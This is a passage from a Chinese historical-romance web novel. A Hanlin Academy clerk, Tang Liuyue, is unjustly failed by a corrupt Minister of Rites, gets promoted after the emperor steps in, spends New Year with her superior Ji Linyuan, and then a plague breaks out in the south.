擦肩而过的瞬间,棠柳月扯住季临渊的衣袖,微微垂眸:“那还请大人今晚先把我的文书批了,明日我自不会叨扰。”
季临渊回首,眼神在棠柳月的脸上和那双扯着自己衣袖的手之间徘徊,神色渐渐清明。
若是平日路上遇见,他必觉得美人如斯,笑魇如花,但此刻他只觉得眼前人不可理喻。
“我若是不肯呢?”
“那便由不得大人了。”
棠柳月不顾对方的反对,直接把人按回太师椅上。顺便,还把公文推到他面前。
季临渊眼前一黑,闭上眼睛翻了无数个白眼,而放在腿上的双手也紧紧握拳,“本大人要去休息,不然人就要废了。”
棠柳月敷衍地“嗯”了一声,又把砚台推到他手边,“批完这些公文,大人想怎么休息就怎么休息。”
“棠柳月。”
“嗯。”
“你知不知道我明天就可以让你离开翰林院?”
“那大人今晚也得先批完公文。”
……
几番唇枪舌战下来,季临渊彻底认输,认命地开始批示公文。
而棠柳月就站在一旁,监工。
足足批了一个半时辰,直到月上柳梢头,季临渊才算把桌上的文书都处理了。
“可以了吧?”
季临渊把笔随手一扔,面色阴沉,胸膛起伏巨大。
“可以了,多谢大人。”
棠柳月抱起批示好的文书,感激地朝季临渊鞠了一躬,转身准备离开。
“你等等,”季临渊忽然叫住棠柳月,“你这么着急让我批完是为什么?”
棠柳月站在门口,原本是烛火稀微的地方,却因月光落在她身上,微微发亮。
“明日便是十二月,明日一早要上交今年一整年的公务日志,所以我必须在今晚把所有事情收尾。否则我公务考核的日志一栏,分数不保。”
季临渊起身,走到棠柳月身侧,难得温和了语气。
“在这里出头几乎是不可能,若你真的想出去,我可以让以前的旧友在六部给你谋个职位。至于你母亲的事情,我们再详谈就是。”
“阿娘和翰林院是两回事,我会为阿娘找到那个人,”棠柳月微微抬头,倔强地扬起下巴:“也一定会堂堂正正走出翰林院,实现我的抱负。”
棠柳月敢说这样的话,也确实是因为能力优异。
宋澈衍翻阅着翰林院众人的公务日志,在一水的中规中矩、差强人意中,棠柳月的日志实在亮眼——
分门别类整理近二十年关于朝廷官员,仪制服饰的批文藏书;
誊写经书二十卷,字迹清晰工整,无洇墨透墨;
修撰开国实录,引经据典,详实考究;
协助礼部起草典礼文书、各类批示告示,上承下达,言简意赅……
这哪像一个新人几个月就能做完的事情?宋澈衍扪心自问,他是做不来的。
于是棠柳月就这样成了翰林院开院以来,基础公务考核分数都拿了满分的新人。
这样的成绩交到季临渊手里复核,他单拎出棠柳月的政绩表,在宋澈衍面前晃了晃:“这不是你偏心吧?”
宋澈衍细长的眉眼不满地皱了皱,淡粉色薄唇吐出一声“切”,他抽出白书礼的政绩表:“这才是我的偏心,一年到头正事不做,我直接下了他一级。”
“啧啧啧,果然是铁面无私的阿澈。”季临渊打趣着。
宋澈衍略过这些话语,指着棠柳月的征集表:“按照这个成绩,今年升官阶的名额只能给她,而且至少升两级。”
季临渊不是很认同,“那也得看礼部的意思,况且她还要通过礼部的考试,才能确保升官阶。”
宋澈衍不以为意,大有一副势在必得的意味:“礼部的考试只是应试文章,以柳月的能力,不足为惧。”
季临渊见宋澈衍这么执着,又想到翰林院难得有一个奇才。
不说别的,手下人出息,做领导的也沾光。
罢了罢了,帮她也是帮自己。
于是大手一挥,棠柳月的政绩表就被送到了礼部。
礼部尚书是一位老先生,名周亚清,祖上三代皆是礼部尚书,整个礼部大多
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都是家族一手提携起来的人。
周亚清长得不算高大,虽两鬓斑白但健步如飞,生着两条浓眉,眼睛虽大但眼神浑浊,颧骨高耸,蓄了八字胡须,面色发灰,声音嘶哑。
他眼神不太好,看翰林院递上来的官阶晋升名单和政绩表时,凑得很近。
“这个棠柳月,”周亚清逐字逐句看得仔细,说话有一点点拖音,“是不是那个武状元?”
礼部侍郎王贤之恭敬站在一边,“是,而且翰林院今年也只推举了她,参加礼部的考试。”
“果真是她,”周亚清放下名单,拿起手边的文玩核桃把玩,“我还以为她就是个练家子,又被皇上贬去翰林院,这辈子也就这样了。”
“不成想还是个有心气的。”
余光瞟到名单上季临渊的署名,周亚清又出声问道:“推个女子上来,季璟没说什么吗?”
“棠柳月就是季学士推举上的。”
周亚清闻言,自胸膛里发出一声讥笑,稍显浑浊的眼里浮现鄙夷,“可女子终究要为人妇,升了官位,急急跑去生儿育女,那就是作践同僚;再加之貌美,若是不检点,招蜂引蝶,岂非家门不幸?”
周亚清向来瞧不起女子,认为女子一身皮囊皆是玩物。而言行合一的他,前不久就添了第八房小妾,年方十九。
而且,他既瞧不起女子,也更不喜欢季临渊。
“只是翰林院那边报上来是升两级,大人是要驳回吗?”
周亚清把文书往旁边随意一放,慢悠悠起身往外面走去:“天凉了,让膳堂多准备一下羊肉羹汤,补补身子。”
王贤之会意地点点头,把翰林院的文书了压在一众公文下面。
礼部组织考核那天,大茗迎来了今年最大的一场雪。
天色沉沉,雨雪交杂,棠柳月往官袍外面加了一件大袄,又戴着秋姨亲手钩织的棉帽围巾,才敢勉强出门。
来到礼部之时,她几乎成了一个雪人。
努力把身上的雪花抖落,棠柳月按照自己分到的考场号,找到对应的小隔间,落座开考。
只是这个位子实在不好,四面透风不说,给的墨笔墨汁,也是难用至极。而且与官道只有一墙之隔,人声嘈杂。
直到考完交卷,棠柳月紧锁的眉头才渐渐松开,手指几乎冻得失去知觉,指尖紫黑。
周亚清同三位考官坐在上方,有暖炉,有炭盆,有汤婆子,还有一扇竹编密帘挡在他们面前,将冷气生生阻隔在外面。
说笑哄闹间,王贤之把考生的答卷呈了上来。
周亚清只呵呵笑着,端起一杯热茶,丝毫不碰答卷。其他人则心领神会地从卷子里翻找自己的门生,粗粗一看,便用深蓝色墨笔,批注了一个大大的“过”。
全场二十人参考,花了两个时辰写的八百字述论。几位考官只用了不到半个钟,就全部审完。
在看到王贤之捧着考试成绩,出来准备宣读时,棠柳月很是震惊。但她还是立刻起身,与其他人站到一起,等候结果。
“张三,述论详实,允升官阶;”
“李四,述论详实,允升官阶;”
“王五,述论详实,允升官阶;”
……
王贤之念了十五声“允升官阶”,四声“打回原阶”。而这十九个人里,没有棠柳月。
此时,周亚清走了出来,手里拿着一份答卷。只见他清了清嗓子里的浓痰,漠然道:“棠柳月是哪个?”
棠柳月应声出列,寒风凌厉中,她躬身行礼,声音被冻得有些许颤抖:“下官棠柳月,见过尚书大人。”
“抬起头来。”
棠柳月直起身子,抬头仰面,眼神保持着下位者的谦卑和顺,垂眸不语。
周亚清的眼神有些猥琐地在棠柳月的脸上扫过,而后移开,又是一副道貌岸然的模样。
“你是翰林院推举上来的人,说是政绩优秀,才能过人。但本官看了你的卷子,只觉得——”
“一派胡言!”
啪!
一米长的宣纸劈头盖脸砸下来,棠柳月来不及躲闪,额角被锐利的纸张,划出一道血痕。
8.升官
在一阵惊呼声中,棠柳月踉跄着后退几步站定,抬手捂住又肿又疼的额头,闭眼缓和了好一会才再次睁开眼。视野里,用心构思誊写了几个时辰的答卷,被当做破布一般,砸到她头上,又落到地上。
一口气噎在喉头,鼻梁上一股酸涩顺着往上爬,熏得眼睛发疼。
棠柳月并不是爱哭的人,她只是,有点委屈。
捋了捋鬓边散落的头发,棠柳月俯身小心翼翼拿起自己的答卷,细心扫去上面附着的雪花。见上面画了一个大大的红叉,她抬起脸,下颌绷成一条直线。唇淡眼润,唯余眼尾有一点点红。
其余的,都随那双微微发颤的手,藏在了袖中。
“敢问尚书大人,下官错在何处?”
周亚清斜睨了棠柳月一眼,开始在众考生面前来回踱步,“朝堂官职大多需要男子,翰林院却推举了你,此为一错;你的能力虽不俗但翰林院庸才遍地,有虚报实情之嫌,此为二错;堂下质问考官,以卑犯尊,此为三错。”
“数罪齐发,本官何以能让你通过考核?”
棠柳月听着三条为自己量身定制的错处,无声地笑了笑。眸子微挑,一张脸一寸一寸冷了下去。
周亚清见棠柳月面色阴冷,心里突然有一点点发虚。但这种心思很快就被消解,她再厉害,还能跟自己这个正三品礼部尚书叫板?
于是他且继续装模做样道:“且今年晋升名额已满,你还是回去再历练一年吧。”
但周亚清不知道的事,棠柳月满脑子想的都是,这样的人,怎么还能活到今天?
怪不得阿娘常说,这世上坏人多,需得遇上一个杀一个,才能断其根基。
“棠典籍,本官知道你此刻肯定心有怨怼,”周亚清走近棠柳月,却又不敢靠得太近,怕她俯视自己,“但时运如此,你还是——”
飕飕飕!
三根银针擦着周亚清的耳边飞过,将后方的王贤之死死钉在柱子上!
飕飕飕!
又是三针,追着落在周亚清慌忙逃窜的步子后。
众人大惊失色,因为没有人看到银针是从哪里飞出来。众人只得四散逃窜,靠近墙边或柱子,躲避暗器。
而被银针吓破胆的周亚清早就双腿一软倒在地上,四脚并用地往旁边爬去,嘴里惊慌大喊:“刺客!有刺客!”
丝毫没有想到,被钉在柱子上的自家侍郎也在嚎叫,好像更危险。
满堂乱窜的人里,只有棠柳月岿然不动,仿若眼前一切与她无关,泰山崩于前而不乱。
兵荒马乱,呼天抢地中,拈着袖中剩余的五根针,棠柳月一时拿不准注意。
是扎上面呢,还是下面?
但还没等棠柳月抉择出胜负,一只大手就按下她作祟的左手。
棠柳月低头看去,那只手,手形修长白净,指甲修剪方正,骨节分明,瘦薄的手背上有青筋凸起。手心的微微湿热贴着皮肤,源源不断注入自己的身体。
顺着那双手往上看去,却见来人是季临渊。风雪凄凄中,他撑着纸伞站在自己身侧。
镶着宝石的发冠将头发高高束起,穿一身玄色镶金锦袍,腰背笔挺,宽肩窄腰,腿长腰细。衣袂袖口处有细细的暗金花纹,周身虽再无其他点缀,却不显朴素,反透露出不动声色的低调奢华。
而他此刻低头,目不转睛地注视棠柳月,眉若远山,眸若点漆,丰明俊秀,矜傲得让人过目不忘。
“脸上的伤是他砸的?”季临渊看着额角那处血痕,惊诧不已。
见惯了平日不着边际的季临渊,陡然见到如此模样,棠柳月一时没回过神,直到对方问第二遍,她才飞快地移开眼,“没躲开,就被砸了。”
季临渊没有言语,眼神落在那个伤痕上面,许久。
“你来干什么?”
“给我的人撑腰。”
话音刚落,礼部大门外便响起太监高亢尖细的声音——“皇上驾到!”
这一声算是终结了眼下的闹剧,众人不管愿不愿意都立刻走出来叩见皇帝。
周亚清爬的也很快。
季临渊收回手,棠柳月也乖觉地把东西收回袖子,与身边人一同朝皇帝恭敬行礼。
不过皇帝似乎本就不高兴,一进门看到狼藉一片,大为光火,直接出声怒斥:“这是怎么回事?!礼部尚书何在?!”
“臣在、臣在……”周亚清从人堆后面爬到前面,连连叩首:“刚刚微臣在宣读礼部考核晋升的名单,结果就有贼人射出银针,想要刺杀微臣,求皇帝明鉴啊!”
皇帝环视四周,又见青天白日,朗朗乾坤,忍者怒气道:“你既说银针,那银针呢?”
周亚清慌忙起身指了指后面,“皇上,就在那柱子上,千真万确抵赖不得!”
皇帝抬手一划,身边的小太监立马上前查看,回来后却说那里并未有他物。
这可把周亚清吓得哑火了,直直跪在地上,面色青一阵白一阵。
棠柳月也跟着疑惑起来,“怎么不见了?”
季临渊暗自一笑,“可能是刚刚落在雪地里了吧。”
见周亚清不说话,皇帝脸色沉了又沉,转头看向棠柳月。
“把你手里的东西给朕。”
棠柳月不做犹豫,立刻把手里的答卷交上去。
透过那一个大红叉,皇帝还是看清楚了这篇构思精巧、行文流畅、字迹工整的论述文。
“朕很想知道,这篇文章为何不入你的眼?”
皇帝的语调里尽是诘问,周亚清哪里敢说实话,嘴唇嗫嚅半晌,也吐不出一句完整的话。
没有得到回答的皇帝耐心已然耗尽,随即看向一旁跪着的王贤之:“礼部侍郎,你说。”
王贤之毫不犹豫膝行上前,伏身贴地,恭敬万分:“回皇上的话,今日这般皆是因礼部多年官官相护,非六部之人常年不得晋升;又因尚书大人对季学士怀恨在心,新仇旧恨,所以才一直针对翰林院。”
“你!”周亚清死死指着王贤之,怒目圆睁,震惊于多年的部下居然临阵倒戈,飙升的语调像屠宰场里濒死的猪。
“你诬陷本官!是诬陷!是谁让你来陷害本官!”
季临渊在一旁看戏,幽幽出声:“是不是诬陷,皇上一查便知,尚书大人何需如此气急?”
皇帝如何不知周亚清的德行,之前没处理,一来是因为周氏多年老臣,根基深厚;二来也为平衡官场,不至于一家独大。
可现在,皇帝被人架在这里,想要大事化小,小事化了,怕是也不行了。
况且,他回头看了看棠柳月,小小一个人,站在季临渊身后,面色发白,鼻尖被冻得通红,额头上还有寸许长的血痕。
“传朕旨意,礼部尚书周亚清为官不正,贬斥三级,于府上禁足三月,罚俸一年。礼部侍郎王贤之晋礼部尚书,统管礼部事宜。”
“棠柳月进正七品编修,其余礼部门生皆维持原品。”
皇帝说完这些,王贤之立刻叩头谢恩,周亚清却直接昏死倒地。
如果可以,他或许不愿睁开眼。
棠柳月听到自己顺利晋升,一颗悬着的心终于放下。她轻吁了一口气,但腰上忽然被人轻轻一推,她被迫往前走了一步。
“谢恩。”季临渊低声提醒。
棠柳月顿时警醒,连忙跪下领旨谢恩。
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眼见事情暂时都处理了,皇帝走到棠柳月面前,伸手虚扶她起来。
“朕让太医给你处理一下伤口,然后换身干净衣服,来养心殿一趟。”
那夜的记忆纷至沓来,棠柳月本能地往后退一步,“皇上……”
皇帝知道棠柳月在想什么,于是又补充道:“朕只是有些话要跟你说清楚。”
棠柳月见皇帝神色认真,也只得答应。
待皇帝走后,王贤之起身,扑了扑衣服上的雪痕,命人用一台小轿子就把周亚清五花大抬,送回他自己的府邸。
“季某恭祝王尚书,前途无量。”季临渊扬眉一笑,笑意舒朗。
“不敢,”王贤之谦卑躬身,“还得多谢季学士相助,不然贤之也没办法在皇上面前表忠心。”
“不过棠编修不愧是武状元,贤之差点就挣不开那三根银针了。”
棠柳月听到这里,才明白这两人里应外合,算计了一把周亚清。
“你不是周亚清提携上来的吗?”
王贤之苦笑,“王某当年受季学士提携至礼部,但此后长居侍郎之位再无进展,实在不愿屈居人下。”
棠柳月闻言蹙眉,“背弃旧主,名声可不好听。”
“无妨,周亚清原本也为六部鄙夷,他们乐得见周亚清下台。”
“好了,”季临渊抬手给棠柳月整了整棉帽,又看了一眼匆匆赶来的太医,神色温柔:“太医给你处理完额角的伤,换身衣服,我送你去养心殿。”
“……好。”
换上感觉的官袍,棠柳月在季临渊的陪同下来到养心殿。
一踏进来,满室的龙涎香气混合着地龙的暖气扑面而来,烘的她周身寒意瞬间消融。跟着小太监走到偏殿,棠柳月才看到皇帝正盘腿坐在榻上,闭目养神。
抬手作揖,恭敬行礼:“微臣参见皇上,皇上万安。”
“起来吧,”皇帝睁开眼,见棠柳月的额角用纱布包扎,心中很是愧疚:“女子最爱惜容颜,朕会让太医院给你用最好的祛疤膏药,你且放心就是。”
棠柳月怔愣了片刻,旋即低头一笑,“多谢皇上关怀,但并不是所有女子都极度爱惜容貌,譬如微臣。”
“朕知道,这只是朕为自己的喜欢找的借口罢了。”皇帝说到这里,眼神渐渐温软,甚至带了几分讨好:“棠柳月,到现在你还是不愿意做朕的女人吗?”
“不愿。”
还是那般利落,那般不留情面,快刀杀人心。
皇帝认命地点点头,“朕知道了,以后朕不会再提这事。”
“今日之事,你且多谢季璟吧,是他来告知朕你在礼部受屈。这是朕第一次帮你,也是最后一次。日后官场之路,你好自珍重。”
“臣谨记皇上恩德。”
临出养心殿的时候,皇帝忽然出声叫住棠柳月。
棠柳月转身,一脸疑惑。
皇帝嘴唇动了动,缓声道:“芙蓉台那晚是朕的错,对不起。”
走出养心殿的时候,雪已经小了很多。
细雪飘飞中,季临渊还站在台阶下面,撑伞负手而立。见棠柳月出来,他眉眼一弯,脸上霜雪乍破。
棠柳月不自觉跟着笑了起来。
走入伞下,季临渊自然地把伞往一旁倾斜,二人肩头轻轻擦着,相伴离去。
“季临渊,为什么要去礼部?”
“因为你真的会动手。”
“那你害怕吗?”
“不怕,只是有点麻烦。还好,我不怕麻烦。”
“季临渊,谢谢你。”
“我想去你家吃饭。”
“好。”
9.除夕
晋升的旨意在考核的那天下午就传到了翰林院,但等新官袍到棠柳月手里的时候,已经是三日后。
而这三日里,通过无数人的口口相传,那天所发生的一切已经演变为——“翰林巾帼衣袖飞,怒惩恶官撼六部,扬正义之举,肃官场风气。”
皇帝听完身边太监的转述后都气笑了,“棠柳月真是好运气,下旨的是朕,颂扬的是她。”
不过也不怪别人这样想,因为大茗开国至今,没有哪个官员,如此威逼恐吓上级官员之后,还能安稳升官。
江寒星一进翰林院,身上的雪花都没抖干净,就直扑被围观恭喜、穿着新衣服的棠柳月,欢喜不已。
“柳月~你真的好厉害!圣旨下来的时候我都以为听错了!”
棠柳月被江寒星抱得左摇右晃,无奈地拍拍她的后背,“是,但你先松开我好不好?旁边好多人看着呢。”
江寒星埋在棠柳月的胸口,侧头看了看周围笑着的其他人,轻轻哼了一声,但还是听话地从棠柳月怀里起来,只是双手还搭在棠柳月的腰上。
棠柳月故作生气地捏了捏江寒星的脸颊,“还不松手?”
江寒星嘿嘿一笑,“柳月穿官袍好生俊俏,喜欢。”
秦川柏同其他人站在一旁,同样笑意盈盈。这其中,有为同僚通过考核的真心祝贺,也有庆幸于周亚清被贬下台的喜悦。
其中一个同僚实在太过好奇,忍不住走上前轻轻摸了摸棠柳月的袖子,好奇道:“柳月,我听他们说那天你袖子里藏箭,是真的吗?”
“呃……”
“胡说,明明是毒镖!五颜六色的!”
“不是不是,我听到的说是弓弩!小弓弩射箭,把那个周亚清差点吓死。”
棠柳月听得叹息连连,再说下去,天下兵器都可以从她袖子里出来了。
“好了好了,”秦川柏抬手打断众人的讨论,而后双手拢在胸前,骄傲地扬着脑袋,迈着八字步走到棠柳月身前,“这些已是过去,好汉不提当年勇,我们柳月将来是有大作为的人,翰林院的紫微星啊!”
说罢他又转身朝棠柳月鞠了一躬,面色真诚:“柳月,苟富贵勿相忘。”
“秦兄所言甚是!”
“是啊!是啊!”
“翰林院真是捡到宝了!”
棠柳月在一众恭维声中无语地笑了笑,朝秦川柏伸出大拇指。
秦川柏笑的殷勤,从袖子里拿出一枚玉扳指,戴在棠柳月的大拇指上,“小小心意,祝棠编修仕途顺利~”
“咳咳。”
宋澈衍不知何时出现在众人身后,神情严肃,“你们手上的公务都处理完了?”
众人互相看了一眼,便立刻快步走回自己的工位,埋头工作。徒留棠柳月站在原地,一时不知所措。
不过此时宋澈衍忽然偏头出声,“白书礼,进来。”
随着话音落下,白书礼抱着一些文书,耷拉着脑袋走进来。
宋澈衍清了清嗓子,拔高音调:“今年的考核,全院只有白书礼不及格,所以贬斥一级,日后就在这里与你们一起办公。”
“可是这边屋子已经没有位子了呀。”秦川柏小声嘀咕。
“柳月的位子让给白书礼。”
棠柳月倏的转头看宋澈衍,“那我呢?”
宋澈衍瞟了她一眼,只等白书礼收拾东西坐下后,才沉声道:“收拾你的东西,跟我来。”
棠柳月皱皱眉,在心里祈祷可别是什么犄角旮旯的地方。
只可惜她忘了,整个翰林院,就是朝廷最犄角旮旯的地方。
跟着宋澈衍走进熟悉的书房,棠柳月四下看了看,有些疑惑:“宋侍读,这不是你的书房吗?”
“是,”宋澈衍把棠柳月带到右边的小书案旁,点了点桌子,“日后你坐这,与我一同办公。”
棠柳月抱着自己的文书放到桌上,犹豫了一会,还是问道:“可是以前白书礼都没有跟你一个屋子诶。”
宋澈衍皱眉不解,“他为何要与我一起?”
“因为……”
因为你们两个天天挨在一起呗。
棠柳月忍着后半句没说,强行改口:“那你为何调我过来?”
宋澈衍随手取过一旁书架上的科考纲要,递到棠柳月手里,“明年七月便是科举,礼部主持,翰林院从旁协助。你跟我历练半年,届时我推举你前去跟进。若做得好,可直接调任礼部,无需在这苦熬年岁。”
棠柳月拧了拧眉头,“有这样的路子,为什么寒星他们没有跟我提过?”
“因为吃力不讨好,”宋澈衍言简意赅,细长的眉眼上扬,嘴角擒着淡淡笑意:“比起每年一次的年终考核,科举三年一届且琐事繁多,突发情况也不在少数。你若不愿,我也不勉强。”
棠柳月歪头思索,对上宋澈衍的眼眸,“侍读为何要选我?”
“因为我觉得你可以。”宋澈衍毫不犹豫地回答,眼神坚定。
“好巧,我也觉得我可以。”
棠柳月与宋澈衍会心一笑。
临近年关,整个京都肉眼可见地一日比一日热闹。街上张灯结彩,红色被布置在每个角落。百姓们一边忙着,都数着日子,除尘灰,置年货,等待新年的到来。
年假前的最后一日,翰林院里众人早以归心似箭,公务处理得飞快。
才刚刚用过午膳,所有文书日报就都到了棠柳月手里。
棠柳月不禁感叹,“原来大家可以早点把日报交过来。”
不远处的宋澈衍闻言笑了笑,“也就每年的这一天会勤快,今日你也早点回去吧,后日就除夕了。”
“新年快乐。”
棠柳月弯唇一笑,也回敬一句“新年快乐”。而后稍稍收拾一下,便捧着文书日报去到隔壁季临渊的书房。
一推门,季临渊正拿着鸟食,逗笼子里的画眉鸟,嘴里“嘬嘬嘬”个不停。
“大人,我来送文书。”
季临渊随手指了指书案,“搁那吧。”
棠柳月依言把文书放下,见书案上还有许多未处理的公务,颇为诧异:“明日就是年假了,这些公务你下午来得及处理吗?”
“我又不着急回去过年,明日再处理也行。”季临渊语气随意,一心只想让眼前的画眉鸟多吃一点鸟食。
“皇上不催你回去吗?秋姨这几日都盼着我回去。”
季临渊停下手里动作,转头看向棠柳月,眨了眨眼睛,笑意松快:“我跟他之间,并不是兄友弟恭,而是相看两厌。而且府上的下人都告假回乡,我一个人乐得自在。”
棠柳月一时语塞,好一会才问道:“所以你一直都是一个人过年吗?”
“是啊,从小就是。”
季临渊说的自然,神情也自然,只有棠柳月听得很不是滋味。
“那你好惨,我小时候起码还有阿娘陪在身边。”
……
“是啊,既然我都这么惨了。”季临渊放下鸟食,背着手一步步走近棠柳月。后者不知道眼前人的意思,不得已往后退几步,直到碰上身后的书案,双手抵在桌沿,退无可退。
季临渊俯身,白里透粉的桃花面凑近棠柳月,双手撑在她身侧,促狭一笑:“不如柳月带我回去过年?刚好可以尝尝秋姨的手艺。”
棠柳月“哼哼”笑了两声,眼底却无一丝笑意。她歪头凑近季临渊的耳边,抬手轻点他的胸膛。
“你若再不起来,我就让你躺着回去。”说完便微微抬腿,意指那处不可言传的部位。
季临渊可不敢估量这一腿得有多重,于是立刻起身,后退一大步。
棠柳月在心里翻了个白眼,起身抬腿离去。临走前冷声道:“快点把公务处理完,我可不想除夕那晚还要送你回来夜值。”
季临渊笑着在后面应了一声长长的“是”。
就这样,原本孤家寡人的季临渊借着棠柳月的面子,也吃上了秋姨的手艺。面对一桌子好菜,他比之
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前的棠柳月,有过之无不及。
趁着秋姨给自己盛饭的功夫,季临渊忙不迭称赞:“秋姨,你手艺真好,怪不得柳月每天干活都有劲。”
棠柳月喝着汤差点被呛到,抬眼便给了季临渊一个眼刀。
秋姨端着满满一碗饭放到季临渊面前,笑呵呵地坐下,“都是一些家常菜,你喜欢的话可以常来,秋姨给你做。”
“可以吗?”季临渊捧着碗,睁一双水汪汪的桃花眼,无辜又真诚。
“不可以,”棠柳月沉着脸打断秋姨即将答应的话语,“每天都有人给他做饭,不缺咱们这一口吃的。”
秋姨向来是最听棠柳月的,此刻她不答应,秋姨也只好暂不言语,低头吃菜。
季临渊轻叹一口气,给自己夹了一块鱼,神色可怜:“世事艰难,唯有家常小菜,才能让季某备感温暖。柳月你知道的,我自小家境不顺,若不是你,我怎能品尝到这人间绝味?”
末了,还挤出了两滴泪。
秋姨素来心软,季临渊人长得好看,嘴巴还甜,此时一见他落泪,秋姨直接就被打倒了。
“柳儿,只是常来家里吃个饭,不碍事的。”
棠柳月握着筷子的手越发收紧,虽说秋姨听她的,她又何尝不听秋姨的呢?
无声叹气,棠柳月终是点点头,“那就麻烦秋姨了。”
秋姨妈笑得灿烂,“不碍事不碍事,柳月总是一个人,多个人进出家里也好。哦对了,厨房还有鸡汤,我去端进来。”
秋姨妈前脚一走,季临渊后脚就朝棠柳月扬扬下巴,眉眼得意:“那我以后可就常来了,五日一次,可以吗?”
“……随你。”
不过季临渊也并非只有嘴皮子功夫,年前杀鸡宰鸭、买菜洗刷都是他袖子一挥,说干就干,完全不给棠柳月帮忙的余地。
虽然,棠柳月也确实不知道该怎么帮忙。
就这样忙活到除夕的晚上,秋姨因为要回自己家,所以早些时候大菜做完就回去了,剩下的家常小菜全靠季临渊掌勺。
饭桌前,棠柳月看着有模有样的菜色,连声赞叹。
季临渊围着浅棕色围裙,原本白净的脸上因为炒菜,变得红扑扑的。把最后一道蒜蓉大虾端上桌后,他坐在桌前,特别期待棠柳月的品尝。
棠柳月也不喜欢扫兴,于是每吃一口,就是一声赞叹。
一顿饭下来,棠柳月这个吃饭的高不高兴不知道,但季临渊这个做饭的,属实十分高兴。
等到二人吃完,季临渊便包揽了所有碗筷的清洗,只允许棠柳月在一旁陪着聊天,不允许她帮忙。
“季临渊,你这样我心里不安啊,”棠柳月靠在厨房门框上,无奈笑道。
季临渊笑笑不说话,只是灶台有点矮,他洗碗的时候,总要弯着腰,额前便会落下细碎的短发,很是扎眼。
突然,一双温热柔软的手指触碰脸边。
季临渊动作一滞,只见棠柳月替他捋了捋额前碎发,还顺势轻轻抬起他的下巴,左右拨了拨头发,才满意地点点头。
“这样,头发就不会扎眼睛了。”
不算大的厨房,热气蒸腾氤氲,棠柳月站在季临渊身侧。穿着姚红色夹袄长裙,长发松松挽起,面若桃李,清透的眸子倒映着季临渊的脸。窗外时不时有烟火自空中炸开,明明灭灭的火光落在她脸上,绚烂又明媚。
“季临渊。”
“嗯?”
“新年快乐。”
季临渊喉头一动,他听到胸口鼓动的声音。
“新年快乐。”
子夜时分,皇城祝台上宫人按照仪制敲响编钟,浑厚低沉的乐声向四面散去,追随流光月华铺满整个大茗王朝,宣告新年的到来。周遭礼乐炮声随之响起,漫天火树银花照彻宫墙内外,伴着飞雪飘扬,宛若不夜之城。远处无数祈年新灯被点亮,冉冉升起,飞向空中。所有人都在期盼这个王朝新一年的到来。
正月初十,南方爆发了瘟疫。
10.瘟疫(1)
南方瘟疫爆发地非常突然且猛烈,大量流民百姓四散逃亡,为了控制住情形,皇帝不得不派出军队将疫病严重的几个村落层层把守,不许任何人进出。各地方的关隘要地也设了重兵把守,任何途径疫病村落的人都不许经过。
整个大茗,一时人心惶惶。
朝堂之上,气氛低沉。
望着如泥胎木偶一般不出声的文武百官,皇帝的心绪更是烦躁,起身不断来回踱步。
太师章奭手持笏板,站在百官前列,也离皇帝最近。
见皇帝如此,他犹豫片刻,还是出声打破整个朝堂的沉默。
“皇上,微臣以为,疫病来势汹汹,宫中太医也还未调配出治疗的方子。眼下最重要的,还是要看管把守疫病严重的村落,不许百姓流动,也不许人员进出,以免后患无穷。”
太傅罗盖宝本站在章奭身后一侧,听闻此言,立刻出列反驳:“不妥!疫区百姓也是大茗的百姓,如若只压不治,岂非让他们坐以待毙?”
章奭举着笏板,神色严肃:“太傅慎言,本官这样也是为了更多大茗百姓着想。如若一味秉持妇人之仁,只怕当断不断,反受其乱。”
皇帝充满血丝的双眼在二位老臣之间扫视着,未置可否。
“张世豪,你怎么看?”
辽远大将军张世豪突然被点名,连忙出列,躬身应声:“回皇上的话,从近日关于疫区的奏报来看,太师之言不无道理,疫病来势汹汹,若不管控肯定会殃及整个南方。但……”
“说下去。”皇帝拧着眉头,语调低沉。
许是知道自己接下来的话涉及大不敬,张世豪将腰深深弯了下去。
“但疫区多日只见军队,不见任何官员和医者,百姓心中不安,日渐躁动。再这样下去,末将恐怕,百姓会揭竿而起。”
啪!
皇帝狠狠一掌拍在龙椅上,力气之大,整个手掌顿时红肿起来。
百官心下一凛,下跪一片,噤若寒蝉。
“让太医院不计成本,加紧研制疫病药房!有任何进展都来告知朕!”
皇帝愠怒地声音传遍大殿,传令的小太监忙不停蹄地奔向太医院。
太傅斟酌着皇帝怒气稍稍消退,又紧跟出声道:“张将军说的对,疫区百姓怕的不是药房研制不出来,而是怕朝廷抛弃他们。所以还请皇上派出官员,代表皇家天威前往疫区,方能安稳人心。”
皇帝沉吟片刻,“若轮人选,当是朕最合适。”
“不可!”章奭直起身子,果断否决皇帝的提议,“皇帝九五之躯,怎么以身犯险?老臣愿意前去。”
张世豪连忙出声阻拦:“太师年事已高,此去南方一程,路上便要花上小半个月,末将担心太师的身姿吃不消。”
章奭摇摇头,又将身子伏下去,言辞恳切:“皇上天子之尊,不可犯险;朝中诸位大多是青年才干,各是家中所依所靠,亦不可冒险。唯有微臣,受皇恩多年,家中唯有一子已经成人,无牵无挂,所以自请前去,望皇上恩准。”
而在章奭出声自请前去后,又有几位尚书也出列自请前去。
可越是如此,皇帝便越是敛眉垂眸,迟迟不做声。
这场早朝在皇帝的默然里结束,但季临渊却在下朝后,被小太监拦住,重新带回养心殿偏殿。
看到季临渊出现,皇帝的神色稍稍松弛了一些。他坐在桌前,随手一指,示意季临渊坐下。
季临渊没有疑问,顺从地坐下。坐下后,他才开口道:“皇上可是要问我早朝之事?”
“是,”皇帝疲惫地撑着额头,“朕问了太医院,说方子至少还需要三个月才可确保无虞。”
“三个月,”季临渊掂量着天数,“若是无人安抚疫区的百姓,他们怕是熬不了这么久。”
皇帝点点头,转脸看向季临渊,心中五味杂陈:“代表皇家前去疫区的臣子,必须是完全忠于朕,且绝对忠于大茗,毫无私心的人。”
“季璟,朕可以相信你吗?”
季临渊风月般的眉眼扬起不屑的笑意,“用人不疑,疑人不用,皇上比我更清楚。”
皇帝揉了揉眉心,很是惆怅:“朕已经登基三年,可朝中势力盘根错节,朕有心清理,却始终不得进展。”
“如若你……”皇帝的语调带了几分恳切,“愿意尽心辅佐朕,这之后朕会复你中书令之位,不再疑你。”
季临渊看着皇帝,眸色愈发深邃,他起身走到皇帝身前,举高临下地俯视对方。
“皇上,不管是从前还是现在,我都不曾眼热过龙椅。一个从出生就不被承认的孩子,如何与你相争?”
“从来都是你一个人,看不过我罢了。”
皇帝听着这话,起先是无声轻笑,而后整个肩膀开始抖动,笑声也愈发癫狂,最后他直接抽出身后伫立的长剑,起身横过刀刃,抵在季临渊的脖颈之上。
